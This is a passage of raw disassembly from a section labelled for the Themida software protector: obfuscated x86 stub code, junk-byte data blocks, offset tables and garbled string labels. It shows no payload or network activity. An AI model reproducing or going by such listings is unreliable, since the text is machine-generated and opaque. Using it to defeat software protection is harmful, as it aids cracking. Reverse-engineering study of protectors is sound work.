Themida_:005441AAj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_54419D ; --------------------------------------------------------------------------- loc_54419A: ; CODE XREF: Themida_:005441A0j mul ebx dec esi loc_54419D: ; CODE XREF: Themida_:00544198j cmp esi, 0 ja short loc_54419A pop ebx add ecx, eax pop eax inc edi dec eax loc_5441A8: ; CODE XREF: Themida_:00544183j or eax, eax jnz short loc_544185 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dw 8509h dd 62B0AC1h, 0B999D8Bh, 0C18B062Bh, 1ADE9h, 748B6000h dd 7C8B2424h, 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h dd 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h dd 0D2124616h, 6A830Fh, 0C0330000h, 850FD202h, 5, 1246168Ah dd 2A830FD2h, 2000001h, 5850FD2h, 8A000000h, 0D2124616h dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 0FC013D2h, 684h, 0F82B5700h, 885F078Ah, 2BB4707h, 0E9000000h dd 0FFFFFF70h, 1B8h, 0FD20200h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 2BFFFFFFh, 1BBC3h dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h dd 3D000000h, 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h dd 0FFFFFEB4h, 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h dd 7C2BFFFFh, 7C892824h, 0C2611C24h, 29BA0008h, 0E9000009h dd 22A2Ah, 0 dd 12FF6Ch, 5BAB3Fh, 2 dup(5BC699h), 25A003Fh, 25A0028h dd 202h, 2, 1, 3, 0FA28C6A8h, 5 dup(0) dd offset byte_549F01 dd offset word_54D022 dd offset byte_551313 dd offset byte_5492BD dd offset aNBu_SZ ; "-u_$é)‡" dd offset word_54CCDE dd offset byte_546CE9 dd offset word_5495FA dd offset byte_54D7B9 dd offset dword_54CDC8 dd offset aNsM ; "éšm" dd offset word_5470A6 dd offset byte_550BE5 dd offset byte_551349 dd offset byte_545B3B dd offset byte_54C0A5 dd offset dword_54ED64 dd offset byte_54FDD5 dd offset byte_54DE9B dd offset byte_54B80D dd offset dword_549E74 dd offset byte_54A659 dd offset word_55104E dd offset byte_550291 dd offset byte_547DFD dd offset dword_54DD54 dd offset byte_54FE2B dd offset byte_54CB99 dd offset word_550DDE dd offset byte_547F11 dd offset word_54A2A6 dd offset dword_54DE7C dd offset byte_54840F dd offset byte_5452DF dd offset byte_54E4D9 off_544450 dd offset word_547E7A ; DATA XREF: ___:off_43668Co dd offset byte_54E21F dd offset word_546DD6 dd offset dword_54CD20 dd offset word_5449DA dd offset aM0Qrsco ; "¬0ØQRé–®" dd offset byte_54E749 dd offset dword_5463D0 dd offset off_54F04E dd offset byte_54DF8B dd offset byte_54603B dd offset byte_54731B dd offset byte_54D391 dd offset word_54F2E6 dd offset byte_54C123 dd offset byte_550E13 dd offset word_54C6D6 dd offset dword_550A14 dd offset word_54D8CE dd offset dword_546CF8 dd offset byte_5466F3 dd offset byte_54831D dd offset dword_5503C8 dd offset dword_54A880 dd offset word_5478AA dd offset word_55126A dd offset dword_54C66C dd offset dword_54F9E0 dd offset byte_54D93D dd offset byte_549999 dd offset word_55099E dd offset aMHn ; "¬,¸(Øh\n" dd offset word_54E8A6 dd offset byte_54C01D dd offset word_54B8F2 dd offset byte_54A3F9 dd offset byte_547AA1 dd offset dword_54C1BC dd offset word_54E41E dd offset byte_54A7BB dd offset byte_545E81 dd offset byte_549A33 dd offset dword_5468D0 dd offset byte_551243 dd offset byte_547AB3 dd offset word_550266 dd offset byte_54B62B dd offset aN1Hhn ; "1ØhHn" dd offset byte_54F4DB dd offset aNsA ; "éÚ " dd offset byte_54D059 dd offset word_546B76 dd offset dword_54A55C dd offset dword_5482A4 dd offset dword_547130 dd offset byte_550089 dd offset byte_54EC91 dd offset byte_54B259 dd offset word_54DA1A dd offset word_54CA5E dd offset byte_545A6F dd offset dword_548C48 dd offset dword_54E53C dd offset word_54AB1A dd offset byte_54B8B7 dd offset dword_54D8DC dd offset dword_54E88C dd offset aNsL ; "éÉL" dd offset word_54F22A dd offset byte_54B5D9 dd offset dword_545ED8 dd offset byte_54F8A7 dd offset word_546066 dd offset word_54ED8E dd offset word_5474EE dd offset word_54FB8A dd offset byte_5507A1 dd offset word_54C8DE dd offset dword_54E410 dd offset byte_54D071 dd offset dword_5458B4 dd offset byte_54B495 dd offset byte_54E573 dd offset dword_545040 dd offset byte_544FD5 dd offset byte_550023 dd offset byte_54EB83 dd offset byte_54B683 dd offset dword_54A730 dd offset word_54833E dd offset word_55033E dd offset byte_54AAB1 dd offset byte_54E981 dd offset word_54E792 dd offset byte_550635 dd offset dword_54EED0 dd offset word_544B76 dd offset byte_54B8C5 dd offset word_549576 dd offset dword_54BF60 dd offset byte_548075 dd offset word_54AD1E dd offset byte_54F2BF dd offset word_54512A dd offset byte_54ADF1 dd offset byte_54F345 dd offset dword_54CDA0 dd offset aFlS?y ; "f‹$$é?y" dd offset byte_54954D dd offset byte_547579 dd offset byte_547555 dd offset byte_551223 dd offset dword_546324 dd offset word_54DEFA dd offset dword_54DD04 dd offset byte_550DC9 dd offset byte_54FB65 dd offset word_549B0A dd offset byte_546117 dd offset byte_546D39 dd offset dword_546768 dd offset word_545ADA dd offset aNh ; "h\"#" dd offset byte_546D81 dd offset word_545CF6 dd offset byte_54F1D3 dd offset word_548C5A dd offset byte_5464DD dd offset dword_54F780 dd offset byte_54A09D dd offset byte_549209 dd offset byte_548089 ; --------------------------------------------------------------------------- loc_544660: ; CODE XREF: Themida_:0056776Fj ; Themida_:0059A048j ... pusha pushf cld call $+5 pop edi sub edi, 62B7FC0h mov eax, edi add edi, 62B7CD8h cmp eax, [edi+2Ch] jnz short loc_54467E jmp short loc_544691 ; --------------------------------------------------------------------------- loc_54467E: ; CODE XREF: Themida_:0054467Aj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54468D ; --------------------------------------------------------------------------- loc_544688: ; CODE XREF: Themida_:0054468Fj add [edi+ecx*4+40h], eax dec ecx loc_54468D: ; CODE XREF: Themida_:00544686j or ecx, ecx jnz short loc_544688 loc_544691: ; CODE XREF: Themida_:0054467Cj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54469E: ; CODE XREF: Themida_:005446A5j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54469E loc_5446A7: ; CODE XREF: Themida_:005447E0j ; Themida_:00546BD4j ... lodsb xor al, bl jmp loc_54D5D5 ; --------------------------------------------------------------------------- loc_5446AF: ; CODE XREF: Themida_:0054D5A6j sub edx, edi pop edi push ebp jmp loc_54D194 ; --------------------------------------------------------------------------- dd 33241431h, 665C2414h, 0E9240489h, 0FFFFFFDFh, 34FFE388h dd 0C0E95824h, 89000061h, 9CE92424h, 53000015h, 0B7E5E9h db 0 ; --------------------------------------------------------------------------- loc_5446E1: ; CODE XREF: Themida_:00548E2Ej mov ecx, esi pop esi not ecx jmp loc_544DDB ; --------------------------------------------------------------------------- loc_5446EB: ; CODE XREF: Themida_:00547455j mov eax, 54500C5Eh xor eax, 1AF71AC2h and eax, 15662010h neg eax sub eax, 0FFFFFFFFh dec eax push esi mov esi, 7D23C3B7h sub eax, esi mov esi, [esp] jmp loc_5455A6 ; --------------------------------------------------------------------------- dw 0F281h aXsQsc db 'XSËQéçµ',0 dd 0E9EEB400h, 375Bh, 815EF509h, 0C2B978C5h, 5DEE0101h dd 0E91C7709h, 0CA30h, 582434FFh, 4C481h, 0F5E90000h, 33000097h dd 0E2E9241Ch, 31000022h, 34332434h, 0C402E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54475A: ; CODE XREF: Themida_:0054A071j sub ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_54E06D ; --------------------------------------------------------------------------- db 5 dd 0B891C1DEh, 0F758C189h, 81D1F7D1h, 251FE1h, 0E1F1814Eh dd 1B2FC80h, 0D68959CAh, 8124148Bh, 4C4h, 3FEE8100h, 159ED72h dd 0B60F5EF7h, 8734FFC0h, 6FBFE9h, 25CF8100h, 5274F251h dd 595C88BAh, 81D2F72Dh, 8B16A9E2h, 7E2C131h, 2CDEC281h dd 0D709CD0Bh, 0FCBD555Ah, 29125C68h, 9579E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5447CE: ; CODE XREF: Themida_:0054F20Ej xor ebx, 98495904h mov edx, ebx pop ebx add ecx, edx pop edx xchg ecx, [esp] mov esp, [esp] jmp loc_5446A7 ; --------------------------------------------------------------------------- loc_5447E5: ; CODE XREF: Themida_:00547F03j add esp, 4 push ecx push 2F34h jmp loc_54CE2A ; --------------------------------------------------------------------------- dw 3489h dd 1F8DBE24h, 0C681791Ah, 0FE9333BFh, 432EE9h db 0 ; --------------------------------------------------------------------------- loc_544809: ; CODE XREF: Themida_:0054BA13j mov esi, 0A23158Bh xor esi, 325105E1h or esi, 4370310h shl esi, 5 jmp loc_551204 ; --------------------------------------------------------------------------- loc_544822: ; CODE XREF: Themida_:0054FF93j add ebx, eax pop eax xor ecx, ebx mov ebx, [esp] add esp, 4 push ebp push edx push esp mov edx, [esp] add esp, 4 push ecx mov ecx, 56556F65h jmp loc_551098 ; --------------------------------------------------------------------------- loc_544844: ; CODE XREF: Themida_:00545DC9j mov eax, ebp pop ebp add eax, edx add [eax], ecx mov eax, [esp] add esp, 4 pop ecx push 3EF4h mov [esp], esi push 519h jmp loc_5483FC ; --------------------------------------------------------------------------- aIRsL db 'ˆ×RéÏL',0 dw 0BF00h dd 42455A72h, 406FB850h, 63E91CD3h, 0C10000AEh, 0A82505E8h dd 0C15AE47Fh, 0BD5508E8h, 6D27217Fh, 2282E94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544896: ; CODE XREF: Themida_:00546A16j mov eax, 8D47B08h sub eax, 0F8591316h push esi jmp loc_5505C7 ; --------------------------------------------------------------------------- dw 0C483h dd 2297E904h, 5F5A0000h, 815AD701h, 4C7h, 243C8700h, 0E789575Ch dd 4C781h, 0C7810000h, 4, 7FE2E9h, 14AD6800h, 48580A50h dd 1795E9h, 27BB2500h, 39E96BB2h, 290000C4h, 67EA81CAh dd 5920E422h, 0EA81EAD1h, 110D341Ch, 6DB4E9h db 0 ; --------------------------------------------------------------------------- loc_5448FD: ; CODE XREF: Themida_:0054D67Cj push edi mov edi, 1392B70h sub dword ptr [esp+4], 49CA70B8h jmp loc_5487F5 ; --------------------------------------------------------------------------- loc_544910: ; CODE XREF: Themida_:0054ED5Fj mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 add ebp, 4 push ecx jmp loc_54AD5E ; --------------------------------------------------------------------------- aASf db '€Ã¸é” ',0 dd 0FD65E900h, 3C8BFFFFh, 4C48124h, 0F7000000h, 81D9F7D1h dd 0EC037FC1h, 0ABE98142h, 89483ED3h, 6F2159CDh, 2434FF1Ch dd 4C4815Dh, 0E9000000h, 0FFFFFD37h, 2BA52h, 8CE90000h dd 6800008Bh, 367Fh, 81242489h, 42404h, 0E95E0000h, 7E94h dd 0BE56D001h, 73C78h, 7EB8E9h db 0 ; --------------------------------------------------------------------------- loc_54499D: ; CODE XREF: Themida_:00549495j not ecx jmp loc_54BF1C ; --------------------------------------------------------------------------- dd 24148966h, 0E99C5066h, 0FFFFFCF7h ; --------------------------------------------------------------------------- loc_5449B0: ; CODE XREF: Themida_:0054C4C8j xor esi, 5FFF7FFAh mov ecx, esi pop esi jmp loc_54B42B ; --------------------------------------------------------------------------- loc_5449BE: ; CODE XREF: Themida_:00548360j pop esp jmp loc_546CB9 ; --------------------------------------------------------------------------- dd 7FCEE954h, 34890000h, 81E68924h, 4C6h, 652FE900h db 2 dup(0) word_5449DA dw 8B66h ; DATA XREF: Themida_:00544460o dd 0E9572404h, 7970h, 0A29BE959h, 0A4BD0000h, 8148E22Ch dd 0BE3B2EC5h, 0C0E98132h, 0E9391D79h, 2517h, 4EC835Dh dd 0BB241C89h, 4, 34FFDE29h, 721BE924h, 4870000h, 24248B24h dd 5E08950h, 4, 8F5CE9h db 0 ; --------------------------------------------------------------------------- loc_544A29: ; CODE XREF: Themida_:0054C95Fj or ecx, 29D319DAh or ecx, 76AB5AEEh xor ecx, 6CB72187h jmp loc_547BCC ; --------------------------------------------------------------------------- aFy0S4 db '(ÈfY0Ãé4<',0 dw 100h dd 0EB835EF3h, 241C3304h, 33241C31h, 0E95C241Ch, 0B553h dd 2B9h, 59CB8900h, 1C8BDA01h, 4C48124h, 52000000h, 1C30E9h dd 24348900h, 0B9515E54h, 4, 0C8BCE01h, 4C48324h, 4BF57h dd 0FE290000h, 81243C8Bh, 4C4h, 123BE900h, 0DFF70000h dd 378E781h, 0C7817494h, 955C4DFEh, 0B7E9F801h, 89000075h dd 0B95152E6h, 1810210Ah, 0D26B94BAh, 59CA3154h, 3657EA81h dd 21E935F4h, 5400008Dh, 4C3815Bh, 0E9000000h, 46E6h, 1E9EB01h dd 5C000026h, 8499E9h db 0 ; --------------------------------------------------------------------------- loc_544AED: ; CODE XREF: Themida_:00544CD8j mov [esp], edx jmp loc_5483E5 ; --------------------------------------------------------------------------- db 0BEh, 0, 9Bh dd 0F501EED3h, 0C6CEE95Eh, 0F2890000h, 7C2E95Eh, 0BF570000h dd 65426514h, 13E9FA01h, 88000030h, 0FEC6E9EFh, 685FFFFFh dd 23E8h, 0B8240489h, 2E961A78h, 5507E8C1h, 0A2D3CEBDh dd 0E9E801FFh, 9C28h, 0FFFB66E9h db 0FFh ; --------------------------------------------------------------------------- loc_544B41: ; CODE XREF: Themida_:00551071j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_549377 ; --------------------------------------------------------------------------- loc_544B56: ; CODE XREF: Themida_:005491C1j shl ecx, 8 and ecx, 5E157D8Dh jmp loc_54C0E0 ; --------------------------------------------------------------------------- loc_544B64: ; CODE XREF: Themida_:00550CFCj pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_546C0B ; --------------------------------------------------------------------------- word_544B76 dw 34FFh ; DATA XREF: Themida_:005445D0o dd 5AF8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544B7E: ; CODE XREF: Themida_:0054C1A4j xor esi, 4E654A8Fh xor esi, 0FE69697Dh add ebx, esi jmp loc_54B563 ; --------------------------------------------------------------------------- loc_544B91: ; CODE XREF: Themida_:00544D41j push ebx mov ebx, 75567049h jmp loc_54727C ; --------------------------------------------------------------------------- loc_544B9C: ; CODE XREF: Themida_:005466DDj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54AF9D ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 7CB85004h, 52E6D72h, 2689F36h, 5258C329h dd 853225BAh, 0D9EA8172h, 0E915E93Fh, 0A6BEh, 1C85EF81h dd 52E9B729h, 81000055h, 46379FF5h, 8EDC135h, 5104EDC1h dd 0B255E9h db 0 ; --------------------------------------------------------------------------- loc_544BF5: ; CODE XREF: Themida_:00549F5Cj pop ecx add eax, ecx mov ecx, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_544C2D ; --------------------------------------------------------------------------- loc_544C0C: ; CODE XREF: Themida_:0054EDDAj pop eax jmp loc_545F44 ; --------------------------------------------------------------------------- aIsSjj db '‰é]éJj',0 align 2 loc_544C1A: ; CODE XREF: Themida_:0054C08Bj add edx, 3869128Dh jmp loc_54E3A8 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 373E9h db 0 ; --------------------------------------------------------------------------- loc_544C2D: ; CODE XREF: Themida_:00544C07j xchg ecx, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push 6083h mov [esp], edi mov edi, 40h and ecx, edi push dword ptr [esp] mov edi, [esp] jmp loc_54C8BF ; --------------------------------------------------------------------------- loc_544C57: ; CODE XREF: Themida_:0054B440j mov ebp, ebx sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_54CC31 ; --------------------------------------------------------------------------- loc_544C73: ; CODE XREF: Themida_:0054E292j mov ebx, edx pop edx and eax, ebx push dword ptr [esp] pop ebx push edx mov edx, esp push ebp jmp loc_54DE72 ; --------------------------------------------------------------------------- a313I4Se db '3<$1<$3<$\‰4$éE"',0 db 0 ; --------------------------------------------------------------------------- loc_544C97: ; CODE XREF: Themida_:0054B1E8j mov esi, 4 add edx, 5E1F2894h add edx, esi push ecx mov ecx, 1D6B59CCh shr ecx, 1 sub ecx, 0B0968452h sub edx, ecx pop ecx mov esi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push edx jmp loc_544E0B ; --------------------------------------------------------------------------- loc_544CCD: ; CODE XREF: Themida_:00545504j mov ebp, [esp] add esp, 4 push 2406h jmp loc_544AED ; --------------------------------------------------------------------------- db 88h, 0EBh, 59h dd 0E95BDD88h, 421h, 4B9h, 6DB22D00h, 0C80146BFh, 0BF6DB205h dd 0E9E95946h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544CFF: ; CODE XREF: Themida_:0054879Aj mov ebp, eax jmp loc_54FD5B ; --------------------------------------------------------------------------- dw 0EF81h dd 1B2D26B0h, 0C781D701h, 1B2D26B0h, 0E924148Bh, 739h dd 5756E089h, 8FA8E9h db 0 ; --------------------------------------------------------------------------- loc_544D25: ; CODE XREF: Themida_:0054CA38j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebx, 6ADA56E0h sub ebx, eax push ecx jmp loc_544B91 ; --------------------------------------------------------------------------- dw 0C281h dd 1F36AD4h, 0EA81C201h, 1F36AD4h, 558FC281h, 0E951050Fh dd 0A125h ; --------------------------------------------------------------------------- loc_544D60: ; CODE XREF: Themida_:00547CADj push edx mov edx, 4 add ecx, edx jmp loc_54BE73 ; --------------------------------------------------------------------------- db 1, 0EAh, 0E9h dd 65C7h, 0BA52D801h, 5C8723B8h, 610FCA81h, 0C2813AFFh dd 2AA51774h, 1CE6C281h, 0F2812130h, 0F166B12Dh, 4019542Dh dd 5D00146h, 46401954h, 8324148Bh, 342D04C4h, 2D7BAE3Eh dd 668D5F3Ch, 9592E957h, 1C890000h, 33CFBB24h, 0EB810B12h dd 6F2646D0h, 74C1E9h db 0 ; --------------------------------------------------------------------------- loc_544DC9: ; CODE XREF: Themida_:0054581Bj mov esi, 2B3E38EAh jmp loc_54532F ; --------------------------------------------------------------------------- db 59h dd 0DFE9595Ah db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544DDB: ; CODE XREF: Themida_:005446E6j xor ecx, 7D4355C2h jmp loc_550CC5 ; --------------------------------------------------------------------------- dw 0C2FEh dd 0E9F8F280h, 87BBh, 7D6EE981h, 0C18110B3h, 400B311Fh dd 0FACEE981h, 0CF317E49h, 1BE94F59h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544E0B: ; CODE XREF: Themida_:00544CC8j push 462C4624h push dword ptr [esp] pop edx push edx jmp loc_54D9DF ; --------------------------------------------------------------------------- dw 0BF57h dd 488C0668h, 2047E9h, 57595A00h, 2BFh, 5FF82900h, 0E9240433h dd 85DBh ; --------------------------------------------------------------------------- loc_544E38: ; CODE XREF: Themida_:00547EB9j pop eax push edi jmp loc_54CE64 ; --------------------------------------------------------------------------- loc_544E3F: ; CODE XREF: Themida_:00547D67j push esi mov esi, 0AEB24A5h and esi, 780D5238h jmp loc_54B361 ; --------------------------------------------------------------------------- dd 8B240487h, 0D3662424h, 0E99C243Ch, 0FFFFF847h aN1Hhn db '1ØhHn',0 ; DATA XREF: Themida_:0054450Co align 4 dd 0BA241489h, 56088612h, 2417E9h, 57E28900h, 9EE95F54h dd 100006Ch, 7EDBE9FBh, 0E3800000h, 0D5F380DFh, 285BDD28h dd 240C8BE8h, 95A3E956h, 0C4810000h, 4, 8124148Bh, 4C4h dd 0F7F9E900h, 8966FFFFh, 0B252240Ch, 0F6DAF663h, 80C2FEDAh dd 0D188DBF2h, 66C8285Ah, 57240C8Bh, 5152E9h, 48F5400h dd 24048324h, 243C8B04h, 4C481h, 0C7810000h, 4, 0FFFA87E9h dd 0E95156FFh, 2D95h, 4EC81h, 3C890000h, 555F5424h, 275E63BDh dd 23C1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544F06: ; CODE XREF: Themida_:00547A39j mov [esp], esi push 1 pop esi and eax, esi mov esi, [esp] add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push 4A5Ah jmp loc_54C900 ; --------------------------------------------------------------------------- loc_544F2B: ; CODE XREF: Themida_:0054C4D4j or ebx, 38D12A1h jmp loc_54F450 ; --------------------------------------------------------------------------- dw 0E689h dd 7FE5B951h, 0E9417908h db 0E2h, 0A6h word_544F42 dw 0 ; DATA XREF: ___:off_4274E0o dd 0BDFEEA81h, 0D501C144h, 74FF555Ah, 2C8B0424h, 6004E924h dd 9DB80000h, 4050212Fh, 5305D0F7h, 1268113h, 0E78158C7h dd 74ED4F26h, 8B7E9h, 8EDC100h, 0D21DF581h, 0C38137FDh dd 4AAE160Eh, 0EB81EB29h, 4AAE160Eh, 0A9ED815Dh, 1534548h dd 0A9C581DDh, 0E9534548h, 6288h, 24048966h, 0FFF6FEE9h dd 0B48DB1FFh, 0D08E90Fh, 680000h, 29000000h, 0C159240Ch dd 0F18102E1h, 4DB224B3h, 0C354E9h db 0 ; --------------------------------------------------------------------------- loc_544FC9: ; CODE XREF: Themida_:0054F6B8j pop esi or edi, 35CC193Dh jmp loc_54F787 ; --------------------------------------------------------------------------- byte_544FD5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005445A0o dd 4EC8124h, 89000000h, 0E389241Ch, 4EC81h, 14890000h dd 7544BA24h, 0C2812EDEh, 3F5F07B8h, 768BE281h, 424A5C6Bh dd 27F5E9h, 4C48300h, 0DFF7F987h, 0C981F987h, 1D8C623Fh dd 704CBB53h, 0C3811704h, 0EB1EAD61h, 895BD901h, 0FB0159CBh dd 5BE90303h, 810000B8h, 0C64F0CC6h, 5EF389B1h, 0E95BD801h dd 3670h dword_545040 dd 24048B66h, 55E08950h, 9A6BA52h, 0D5892E85h, 6EC5815Ah ; DATA XREF: Themida_:0054459Co dd 0E921346Dh, 9612h ; --------------------------------------------------------------------------- loc_54505C: ; CODE XREF: Themida_:00550630j add ecx, 4 jmp loc_547C15 ; --------------------------------------------------------------------------- db 81h dd 4DF08FEAh, 0E9D52910h, 974Dh, 0A0EA815Ah, 89E86C41h dd 0F6815AD6h, 72EC74C7h, 0E681D6F7h, 3739F8h, 7CB8CE81h dd 0C68135BBh, 61E17748h, 0B3A4E9h, 6E18BF00h, 0E7C15B0Ch dd 56EF8102h, 9663A95h, 0C42D5FF8h, 0E96D502Ah, 0EEFh dd 1C5865B9h, 1CE1811Ah, 81066835h, 4D6E96F1h, 8E9C175h dd 89E98141h, 81133453h, 877B26E9h, 59C8018Fh, 8904EC83h dd 0B951241Ch, 224E6C42h, 52B8C981h, 0E9577830h, 76E4h dd 4244481h, 11E60299h, 4244481h, 67644672h, 0BAA0E9h dd 5FE95A00h, 58000042h, 23E9F589h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545117: ; CODE XREF: Themida_:00550A82j mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_54F574 ; --------------------------------------------------------------------------- word_54512A dw 77FFh ; DATA XREF: Themida_:005445ECo aSte db '<éâ¥',0 align 2 loc_545132: ; CODE XREF: Themida_:0054D449j sub eax, edi push 626Eh jmp loc_54AC52 ; --------------------------------------------------------------------------- dw 815Eh dd 4C6h, 4C68100h, 87000000h, 248B2434h, 24048724h, 0B764E9h dd 1F8E6800h, 8F540000h, 4812404h, 424h, 0C3815B00h, 4 dd 4C381h, 1C870000h, 0E95A5C24h, 2152h, 5205E5C1h, 6239E9h dd 8075B400h, 0F480E1C4h, 47E480ACh, 28A4C480h, 9D3FE9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54519E: ; CODE XREF: Themida_:0054F78Aj push esi push ecx mov ecx, 56E57304h jmp loc_54B9AD ; --------------------------------------------------------------------------- dw 489h dd 0A0BB5324h, 0B802A46Eh, 577971EBh, 0C15BD829h, 914003E8h dd 97AEE9h, 241C3100h, 5C241C33h, 71EBE9h, 4C48300h, 4C381h dd 0B3680000h, 89000023h, 74FF241Ch, 1C8B0424h, 4C48124h dd 8F000000h, 0FF5C2404h, 52592434h, 0E9575A54h, 7DE1h dd 4C181h, 0C330000h, 240C3124h, 0E9240C33h, 31Bh, 782DE959h dd 88E90000h, 2CFFFFF4h, 0ADB2521Ah, 2CA7C280h, 4D0280Dh dd 0C8B5A0Dh, 4C48124h, 80000000h, 0C328F3EBh, 8976851h dd 1C890000h, 843E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54524A: ; CODE XREF: Themida_:0054C0D4j xor ebx, 61630CCDh add ebx, 500816A8h sub ebx, 1DD67011h push ebx jmp loc_54CBDF ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 30000000h, 73E959CFh, 81000083h, 4ECh, 24048900h dd 0B52BE9h, 24043300h, 0E9240431h, 6495h ; --------------------------------------------------------------------------- loc_54528C: ; CODE XREF: Themida_:00550871j mov ebx, 4B48101Bh shl ebx, 4 jmp loc_54D6F7 ; --------------------------------------------------------------------------- loc_545299: ; CODE XREF: Themida_:00546061j mov edi, 4B3056E1h and edi, 25C02EA1h shl edi, 2 jmp loc_54ED1E ; --------------------------------------------------------------------------- dd 8853B353h, 0B7535BDAh, 72EF8059h, 103068h, 24048900h dd 0C0E9FC88h, 0E900004Dh, 0FFFFF3DBh, 148BD601h, 4C48124h dd 87000000h, 46E92434h db 2Fh, 2 dup(0) byte_5452DF db 0ADh ; DATA XREF: Themida_:00544448o dd 267B951h, 0BA523724h, 28436559h, 2D5AD131h, 38DA5A3Fh dd 3F05C801h, 8B38DA5Ah, 0C483240Ch, 4C232D04h, 0BA524017h dd 77114DD4h, 0D14D6105h, 2DD00114h, 14D14D61h, 0BB61E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54531E: ; CODE XREF: Themida_:0054EB3Aj pop ebx jmp loc_546E48 ; --------------------------------------------------------------------------- loc_545324: ; CODE XREF: Themida_:005478E1j sub ebp, 42BA7BABh jmp loc_54EA26 ; --------------------------------------------------------------------------- loc_54532F: ; CODE XREF: Themida_:00544DCEj sub esi, 2D7C1291h not esi and esi, 3D85BEFh neg esi sub esi, 5F9BC6FBh xor eax, esi pop esi push ebp mov ebp, eax mov ebx, ebp pop ebp pop eax loc_54534F: ; DATA XREF: ___:off_43664Co xor eax, ebx pop ebx push 5908h mov [esp], ecx jmp loc_5508B7 ; --------------------------------------------------------------------------- db 0F6h dd 66DA88D3h, 0F652665Bh, 5A662414h, 0E2C0C2FEh, 3EAC004h dd 0AFEAE9h, 665D6600h, 0E906E5C1h, 4CB5h, 0F75EF209h dd 8EEA81D2h, 0E904BE44h, 0B4Ch, 42EDE958h, 40B70000h dd 0E948B551h, 4B6Eh, 0FEBEh, 0AF15E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5453AE: ; CODE XREF: Themida_:00546AFCj add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, 53A900ECh xor eax, edx pop edx push 6277h mov [esp], ebp push esi push 625923FBh pop esi mov ebp, esi jmp loc_547116 ; --------------------------------------------------------------------------- loc_5453D4: ; CODE XREF: Themida_:0054F58Bj mov edi, esp add edi, 4 jmp loc_5454F9 ; --------------------------------------------------------------------------- loc_5453E1: ; CODE XREF: Themida_:0054898Ej shl esi, 3 jmp loc_548827 ; --------------------------------------------------------------------------- db 59h, 50h, 0B8h dd 99B52DDh, 9B52D92Dh, 58C10109h, 0FFFE03E9h, 3BE95EFFh db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545403: ; CODE XREF: Themida_:0054D3A4j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebp push 80h push dword ptr [esp] pop ebp jmp loc_5506AA ; --------------------------------------------------------------------------- aSswh db 'Séwh',0 dw 8B00h dd 1E92424h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54542F: ; CODE XREF: Themida_:0054C5F2j pop edx loc_545430: ; CODE XREF: Themida_:0054ED34j push ebx push ebp push 2D0Ah mov [esp], ecx mov ecx, 369C48B5h mov ebp, 9F8BB4B5h jmp loc_54B150 ; --------------------------------------------------------------------------- db 29h, 0F1h, 5Eh dd 0D1F7D1F7h, 0E48E9h, 4C48300h, 0A929E9h, 0FBA5200h dd 313B3D43h, 91E95AD0h, 0FE00000Dh, 5EAC0C2h, 8015F280h dd 